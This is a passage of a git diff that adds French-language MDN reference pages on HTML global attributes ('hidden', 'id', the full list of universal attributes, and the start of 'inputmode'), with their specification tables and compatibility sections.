+<p>Par exemple, on peut utiliser l'attribut ARIA <code>aria-describedby</code> pour faire référence à une description qui serait cachée (si cette dernière n'est pas pertinente seule). De même un élément {{HTMLElement("canvas")}} caché peut être utilisé comme un <em>buffer</em> hors champ par moteur graphique scripté.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cet attribut sera surchargé par la propriété CSS {{cssxref("display")}}. Ainsi, un élément dont le style a <code>display: flex</code> sera affiché à l'écran, même si l'attribut <code>hidden</code> est présent.</p>
+</div>
+
+
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-hidden-attribute", "hidden")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "rendering.html#hiddenCSS", "Hidden elements")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définit le rendu par défaut suggéré en CSS lorsque l'attribut <code>hidden</code> est utilisé.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "hidden")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}. La définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.hidden")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute">Utiliser l'attribut <code>aria-hidden</code></a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/id/index.html b/files/fr/web/html/attributs_universels/id/index.html
new file mode 100644
index 0000000000..a08d5e0dce
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/id/index.html
@@ -0,0 +1,72 @@
+---
+title: id
+slug: Web/HTML/Attributs_universels/id
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/id
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>id</strong></code> définit un identifiant qui doit être unique pour l'ensemble du document. Le but de cet attribut est de pouvoir identifier un élément lorsqu'on crée un lien, <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web#Fragment">avec un fragment</a> et qu'on souhaite le manipuler avec un script ou qu'on le met en forme avec CSS.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-id.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="blockIndicator warning">
+<p><strong>Note :</strong> La valeur de cet attribut est une chaîne de caractère « opaque ». Cela signifie que cet attribut ne doit pas être utilisé pour transporter de l'information. Les informations sur la signification de l'élément dans le document ne doivent pas être portées par la valeur de cet attribut.</p>
+</div>
+
+<p>La valeur de cet attribut ne doit pas contenir de blancs (espaces, tabulation, etc.). Les navigateurs interprèteront les identifiants avec des espaces comme si l'espace faisait partie de l'identifiant. Ce comportement est différent de celui de l'attribut {{htmlattrxref("class")}} qui permet d'avoir des valeurs séparées par des espaces. Les éléments ne peuvent avoir qu'un seul identifiant défini via l'attribut <code><strong>id</strong></code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'utilisation de caractères non-ASCII ou qui ne sont pas des chiffres latins ou<code>'_'</code>, <code>'-'</code> et <code>'.'</code> peut entraîner des problèmes de compatibilité car ils n'étaient pas autorisé avec HTML 4. Bien que cette restriction n'existe plus avec HTML 5, un identifiant devrait toujours commencer par une lettre pour une meilleure compatibilité.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucun changement depuis la dernière dérivation, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, aucun changement depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Dérivée de {{SpecName('HTML WHATWG')}}, les caractères <code>'_'</code>, <code>'-'</code> et <code>'.'</code> sont désormais acceptés s'ils ne sont pas utilisés au début de l'identifiant. Cet attribut devient un attribut global à part entière.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Pris en charge par tous les éléments sauf {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, et {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.id")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.id")}} qui reflète cet attribut</li>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/index.html b/files/fr/web/html/attributs_universels/index.html
new file mode 100644
index 0000000000..779e617a3d
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/index.html
@@ -0,0 +1,196 @@
+---
+title: Les attributs universels
+slug: Web/HTML/Attributs_universels
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Global_attributes
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>Les <strong>attributs universels</strong> sont des attributs communs à l'ensemble des éléments HTML. Ces attributs peuvent donc être ajoutés sur tous les éléments (dans certains cas, les attributs n'auront aucun effet).</p>
+
+<p>Les attributs universels peuvent être définis sur tous <a href="/fr/docs/Web/HTML/Element">les éléments HTML</a>, <em>y compris pour les éléments non définis dans le standard</em>. Autrement dit, les éléments non-standards doivent pouvoir accepter ces attributs. Cela permettra au navigateur de les gérer selon certains des aspects de la spécification. Par exemple, pour un navigateur conforme, un élément <code>&lt;toto hidden&gt;...&lt;/toto&gt;</code> sera masqué bien que <code>&lt;toto&gt;</code> ne soit pas un élément HTML valide.</p>
+
+<p>En plus des attributs universels HTML, il existe également les attributs universels suivants :</p>
+
+<ul>
+ <li>{{htmlattrdef("xml:lang")}} et {{htmlattrdef("xml:base")}} : ces attributs proviennent des spécifications XHTML. Ils sont désormais dépréciés mais conservés pour des raisons de compatibilité.</li>
+ <li>Les nombreux attributs <code><strong><a href="/fr/docs/Accessibilité/ARIA">aria-*</a></strong></code> utilisés afin d'améliorer l'accessibilité.</li>
+ <li>Les attributs utilisés pour <a href="/fr/docs/Web/Guide/DOM/Events/Event_handlers">les gestionnaires d'événements</a> déclarés directement sur les éléments : <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
+</ul>
+
+<h2 id="Liste_des_attributs_universels">Liste des attributs universels</h2>
+
+<dl>
+ <dt>{{htmlattrdef("accesskey")}}</dt>
+ <dd>Cet attribut fournit une indication permettant de générer un raccourci clavier pour l'élément courant. Cet attribut se compose d'une liste de caractères séparés par des espaces. Le navigateur doit utiliser le premier caractère qui existe selon la disposition du clavier utilisée.</dd>
+ <dt>{{htmlattrdef("autocapitalize")}}</dt>
+ <dd>Cet attribut contrôle la façon dont le texte saisi est automatiquement converti en majuscules. Les valeurs autorisées pour cet attribut sont :
+ <ul>
+  <li><code>off</code> ou <code>none</code> : il n'y pas de convertion en majuscules réalisée.</li>
+  <li><code>on</code> ou <code>sentences</code> : la première lettre de chaque phrase est écrite en majuscule par défaut. Les autres lettres sont en minuscules par défaut.</li>
+  <li><code>words</code> : la première lettre de chaque mot est écrite en majuscule par défaut, les autres lettres sont en minuscules par défaut.</li>
+  <li><code>characters</code> : toutes les lettres sont écrites en majuscules par défaut</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("class")}}</dt>
+ <dd>Une liste de classes, séparées par des espaces, qui permettent de catégoriser l'élément. Les classes permettent au CSS et à JavaScript de manipuler des éléments spécifiques grâce à <a href="/fr/docs/Web/CSS/Sélecteurs_de_classe">des sélecteurs de classe</a> (pour CSS) ou grâce à des fonctions telles que {{domxref("Document.getElementsByClassName()")}} (pour JavaScript).</dd>
+ <dt>{{htmlattrdef("contenteditable")}}</dt>
+ <dd>Un attribut à valeur contrainte qui indique si l'élément peut être édité par l'utilisateur. Si c'est le cas, le navigateur modifie l'interface utilisateur afin de permettre l'édition. Les valeur autorisées pour cet attribut sont :
+ <ul>
+  <li><code>true</code> ou la chaîne vide : ces valeurs indiquent que l'élément doit pouvoir être édité</li>
+  <li><code>false</code> qui indique que l'élément ne doit pas pouvoir être édité.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("contextmenu")}}{{obsolete_inline}}</dt>
+ <dd>La valeur de cet attribut correspond à la valeur de l'attribut {{htmlattrxref("id","menu")}} d'un élément {{HTMLElement("menu")}} qui doit être utilisé comme menu contextuel par cet élément.</dd>
+ <dt>{{htmlattrdef("data-*")}}</dt>
+ <dd>Cette classe d'attribut, appelée « attributs de données personnalisés », permet d'échanger des informations dans un format propriétaire entre le HTML et le DOM afin de pouvoir les manipuler via des langage de scripts. La propriété {{domxref("HTMLElement.dataset")}} permet d'accéder à l'ensemble des attribut définis de cette façon.</dd>
+ <dt>{{htmlattrdef("dir")}}</dt>
+ <dd>Un attribut à valeur contrainte qui indique la directionnalité du texte de l'élément. Les valeurs autorisées pour cet attribut sont :
+ <ul>
+  <li><code>ltr</code> (l'abbréviation anglaise pour <em>Left To Right</em>) indique que le contenu est écrit de gauche à droite (comme le français par exemple)</li>
+  <li><code>rtl</code> (l'abbréviation anglaise pour <em>Right To Left</em>) indique que le contenu est écrit de droite à gauche (comme l'arabe par exemple)</li>
+  <li><code>auto</code> : c'est l'agent utilisateur qui décide. Il utilise un algortihme qui analyse les caractères du contenu de l'élément jusqu'à trouver un caractère avec une forte directionnalité qu'il applique alors à l'ensemble de l'élément.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("draggable")}}</dt>
+ <dd>Un attribut à valeur contrainte qui indique qu'un élément peut être glissé/déposé grâce à l'<a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">API <em>Drag &amp; Drop</em></a>. Les valeurs autorisées pour cet attribut sont :
+ <ul>
+  <li><code>true</code> : l'élément peut être glissé/déposé</li>
+  <li><code>false</code> : l'élément ne peut pas être glissé/déposé.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("dropzone")}} {{experimental_inline}}</dt>
+ <dd>Un attribut à valeur contrainte qui indique le type de contenu qui peut être déposé sur un élément grâce à l'<a href="/fr/docs/Web/API/API_HTML_Drag_and_Drop">API <em>Drag &amp; Drop</em></a>. Les valeurs autorisées pour cet attribut sont :
+ <ul>
+  <li><code>copy</code> : lorsque l'élément est déposé, une copie de l'élément est créée</li>
+  <li><code>move</code> : lorsque l'élément est déposé, il est déplacé vers ce nouvel emplacement</li>
+  <li><code>link</code> : un lien est créé vers les données qui sont déplacée.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("exportparts")}} {{experimental_inline}}</dt>
+ <dd>Utilisé pour exporter de façon transitive certaines parties d'un arbre <em>shadow</em> sur un arbre réel.</dd>
+ <dt>{{htmlattrdef("hidden")}}</dt>
+ <dd>Un attribut booléen dont la valeur indique que l'élément n'est pas encore, ou n'est plus <em>pertinent</em>. Cet attribut peut ainsi être utilisé pour masquer les éléments d'une page qui ne peuvent pas être utilisés tant que la procédure de connexion n'est pas terminée. Le navigateur n'affichera pas les éléments pour lesquels cet attribut est utilisé. Cet attribut ne doit pas être utilisé afin de masquer du contenu qui aurait pu être affiché de façon pertinente.</dd>
+ <dt>{{htmlattrdef("id")}}</dt>
+ <dd>Cet attribut définit un identifiant, unique au sein de tout le document, ,pour un élément. Il doit permettre d'identifier un élément lorsqu'on crée un lien vers lui et/ou lorsque le manipule avec des scripts ou avec CSS.</dd>
+ <dt>{{htmlattrdef("inputmode")}}</dt>
+ <dd>Cet attribut fournit une indication au navigateur quant au type de contenu qui sera saisi dans le champ et qui aide à déterminer la configuration du clavier virtuel qui peut être affiché pour la saisie. Ce type est principalement utilisé pour les éléments {{HTMLElement("input")}} mais peut tout à fait être utilisé sur n'importe quel élément avec le mode {{htmlattrxref("contenteditable")}}.</dd>
+ <dt>{{htmlattrdef("is")}}</dt>
+ <dd>Cet attribut indique qu'un élément HTML standard devrait se comporter comme un élément personnalisé natif (voir <a href="/fr/docs/Web/Web_Components/Using_custom_elements">Manipuler les custom elements</a> pour plus d'informations).</dd>
+ <dt>{{htmlattrdef("itemid")}}</dt>
+ <dd>L'identifiant unique, global, d'un objet. Cet attribut est lié <a href="https://html.spec.whatwg.org/multipage/#toc-microdata">aux microdonnées</a>.</dd>
+ <dt>{{htmlattrdef("itemprop")}}</dt>
+ <dd>Cet attribut permet d'ajouter des propriétés à un objet. Cet attribut est une paire entre un nom et une valeur. Cet attribut est lié <a href="https://html.spec.whatwg.org/multipage/#toc-microdata">aux microdonnées</a>.</dd>
+ <dt>{{htmlattrdef("itemref")}}</dt>
+ <dd>Les propriétés d'un objet qui ne sont pas les éléments descendants de l'élément courant peuvent être associée via l'attribut <code>itemscope</code> contenant une référence vers un <code>itemref</code>. <code>itemref</code> fournit une liste d'identifiants d'éléments qui correspondent aux propriétés supplémentaires définies autre part dans le document. Cet attribut est lié <a href="https://html.spec.whatwg.org/multipage/#toc-microdata">aux microdonnées</a>.</dd>
+ <dt>{{htmlattrdef("itemscope")}}</dt>
+ <dd><code>itemscope</code> fonctionne généralement avec <code>itemtype</code> afin d'indiquer que le coded HTML contenu dans un bloc donné concerne un objet en particulier. <code>itemscope</code> crée l'objet et définit la portée de l'<code>itemtype</code> associée. <code>itemtype</code> est une URL valide construite à partir d'un vocabulaire (par exemple <a href="https://schema.org/">schema.org</a>) qui décrit les objets et leurs propriétés. Cet attribut est lié <a href="https://html.spec.whatwg.org/multipage/#toc-microdata">aux microdonnées</a>.</dd>
+ <dt>{{htmlattrdef("itemtype")}}</dt>
+ <dd>Cet attribut indique l'URL du vocabulaire utilisé pour définir les propriétés d'un objet. Cet attribut est lié <a href="https://html.spec.whatwg.org/multipage/#toc-microdata">aux microdonnées</a>.</dd>
+ <dt>{{htmlattrdef("lang")}}</dt>
+ <dd>Cet attribut aide à définir la langue utilisée pour l'élément. Pour les éléments non-éditables, c'est la langue dans laquelle ils sont écrits et pour les éléments éditables, c'est la langue dans laquelle ils devraient être écrits. Cet attribut contient une seule valeur telle que définie dans le document IETF <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a>. L'attribut <code><strong>xml:lang</strong></code> est prioritaire par rapport à cet attribut lorsqu'il s'agit de déterminer la langue d'un élément.</dd>
+ <dt>{{htmlattrdef("part")}} {{experimental_inline}}</dt>
+ <dd>Une liste séparée par des espaces avec les noms des parties (<em>parts</em>) de l'élément. Les noms des parties permettent au CSS de cibler et de mettre en forme certains éléments d'un arbre <em>shadow</em> via le pseudo-élément {{cssxref("::part")}}.</dd>
+ <dt>{{htmlattrdef("slot")}}</dt>
+ <dd>Cet attribut affecte un créneau de l'arbre du <em><a href="/fr/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a></em> pour un élément. L'élément ayant l'attribut <code>slot</code> est affecté au créneau créé par l'élément {{HTMLElement("slot")}} pour lequel l'attribut {{htmlattrxref("name", "slot")}} correspond à la valeur de l'attribut <code>slot</code>.</dd>
+ <dt>{{htmlattrdef("spellcheck")}} {{experimental_inline}}</dt>
+ <dd>Un attribut à valeur contrainte qui définit s'il faut détecter les fautes d'orthographe/grammaire dans le texte de l'élément. Les valeurs autorisées pour cet attribut sont :
+ <ul>
+  <li><code>true</code> qui indique que, si possible, il faut vérifier les erreurs d'orthographe</li>
+  <li><code>false</code> qui indique qu'il ne faut pas vérifier les erreurs.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("style")}}</dt>
+ <dd>Cet attribut contient les déclarations <a href="/fr/docs/Web/CSS/">CSS</a> utilisées pour mettre en forme l'élément. Note : il est recommandé d'utiliser un ou plusieurs fichiers séparés, plutôt que cet attribut, pour définir les règles de mise en forme. Le rôle de l'élément {{HTMLElement("style")}} consiste à permettre une mise en forme rapide, notamment pour des tests.</dd>
+ <dt>{{htmlattrdef("tabindex")}}</dt>
+ <dd>Cet attribut à valeur entière indique l'ordre dans lequel l'élément participe à la navigation au clavier via la tabulation. Il peut prendre différente valeur :
+ <ul>
+  <li>une valeur négative indiquera que l'élément peut recevoir le focus mais n'est pas accessible via la navigation séquentielle au clavier</li>
+  <li><code>0</code> indiquera que l'élément peut recevoir le focus et être accessible via la navigation au clavier mais l'ordre est relatif et déterminé par l'agent utilisateur</li>
+  <li>une valeur positive indiquera que l'élément peut recevoir le focus et qu'il est accessible via la navigation au clavier. La valeur utilisée indique l'ordre relatif de l'élément dans la navigation. Autrement dit, la navigation au clavier ira dans le sens croissant des éléments selon leurs valeurs respectives de <code>tabindex</code>. Si plusieurs éléments ont la même valeur, ce sera leur ordre relatif dans le document qui sera utilisé.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd>Cet attribut contient une représentation textuelle de l'information auquel il est lié. Une telle information est généralement, mais pas nécessairement, affichée sous la forme d'une bulle d'informations.</dd>
+ <dt>{{htmlattrdef("translate")}} {{experimental_inline}}</dt>
+ <dd>Un attribut à valeur contrainte qui est utilisé pour définir si les valeurs des attributs et des éléments fils de type {{domxref("Text")}} doivent être traduits lorsque la page est localisée. Les valeurs autorisées pour cet attribut sont :
+ <ul>
+  <li>La chaîne vide ou <code>yes</code> qui indiquent que l'élément doit être traduit</li>
+  <li><code>no</code> qui indique que l'élément ne sera pas traduit.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Shadow Parts", "#exposing")}}</td>
+   <td>{{Spec2("CSS Shadow parts")}}</td>
+   <td>Ajout des attributs universels <code>part</code> et <code>exportparts</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.3", "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2("HTML5.3")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Dérivation de {{SpecName("HTML WHATWG")}}. Depuis, {{SpecName("HTML5.1")}}, les attributs <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code> et <code>itemtype</code> ont été ajoutés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Les attributs <code>contextmenu</code>, <code>spellcheck</code>, <code>draggable</code>, et <code>dropzone</code> ont été ajoutés depuis {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Le concept d'attribut universel est introduit et les attributs <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, <code>title</code> sont désormais des attributs universels.<br>
+    <code>xml:lang</code> qui faisait initialement partie de XHTML est inclus dans HTML. Les attributs<br>
+    <code>hidden</code>, <code>data-*</code>, <code>contenteditable</code> et <code>translate</code> sont ajoutés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Aucun attribut universel n'est défini. Plusieurs attributs, devenus universels par la suite, sont définis sur un sous-ensemble d'élément.<br>
+    <code>class</code> et <code>style</code> sont pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.<br>
+    <code>dir</code> est pris en charge pour tous les éléments à l'exception de {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} et {{HTMLElement("script")}}.<br>
+    <code>id</code> est pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.<br>
+    <code>lang</code> est pris en charge pour tous les éléments à l'exception de {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} et {{HTMLElement("script")}}.<br>
+    <code>tabindex</code> est uniquement pris en charge pour les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.<br>
+    <code>accesskey</code> est uniquement pris en charge pour {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} et {{HTMLElement("textarea")}}.<br>
+    <code>title</code> est pris en charge pour tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} et {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les interfaces {{domxref("Element")}} et {{domxref("GlobalEventHandlers")}} qui permettent de manipuler la plupart des attributs globaux.</li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/inputmode/index.html b/files/fr/web/html/attributs_universels/inputmode/index.html
new file mode 100644
index 0000000000..2babf82909
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/inputmode/index.html
@@ -0,0 +1,65 @@
+---
+title: inputmode
+slug: Web/HTML/Attributs_universels/inputmode
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/inputmode
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary">L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <strong><code>inputmode</code></strong> est un attribut à valeur contrainte qui fournit une indication au navigateur quant au type de donnée qui peut être saisi par l'utilisateur lors de l'édition de l'élément ou de son contenu.</span> Les valeurs autorisées sont les suivantes :</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Aucun clavier virtuel ne doit être affiché. Cette valeur s'avère utile lorsque l'application ou le site web implémente son propre outil de saisie.</dd>
+ <dt><code>text</code></dt>
+ <dd>C'est du texte qui sera saisi et un clavier dans la locale de l'utilisateur pourra être affiché.</dd>
+ <dt><code>decimal</code></dt>
+ <dd>C'est un nombre décimal qui sera saisi. Le clavier affiché peut contenir des chiffres et le séparateur décimal de la locale de l'utilisateur. Attention, selon les appareils, le signe moins (<code>-</code>) peut ne pas être présent.</dd>
+ <dt><code>numeric</code></dt>
+ <dd>C'est un nombre entier qui sera saisi. Le clavier affiché peut contenir les chiffres de 0 à 9. Attention, selon les appareils, le signe moins (<code>-</code>) peut ne pas être présent.</dd>
+ <dt><code>tel</code></dt>
+ <dd>C'est un numéro de téléphone qui sera saisi. Le clavier affiché pourra être celui d'un téléphone avec les chiffres allant de 0 à 9, l'astérisque et le dièse. Pour les champs de formulaire où il faut saisir un numéro de téléphone, on utilisera plutôt <code><a href="/fr/docs/Web/HTML/Element/Input/tel">&lt;input type="tel"&gt;</a></code>.</dd>
+ <dt><code>search</code></dt>
+ <dd>L'élément éditable sert à la recherche. Le clavier affiché sera optimisé pour une recherche (par exemple, la touche Entrée pourra être indiquée avec le mot-clé « Rechercher »).</dd>
+ <dt><code>email</code></dt>
+ <dd>C'est une adresse électronique qui sera saisie. Le clavier affiché pourra être optimisé pour la saisie d'adresses email (généralement, on aura le caractère @ et d'autres éléments). Pour les champs de formulaire où il faut saisir une adresse électronique, on utilisera plutôt <code><a href="/fr/docs/Web/HTML/Element/Input/email">&lt;input type="email"&gt;</a></code>.</dd>
+ <dt><code>url</code></dt>
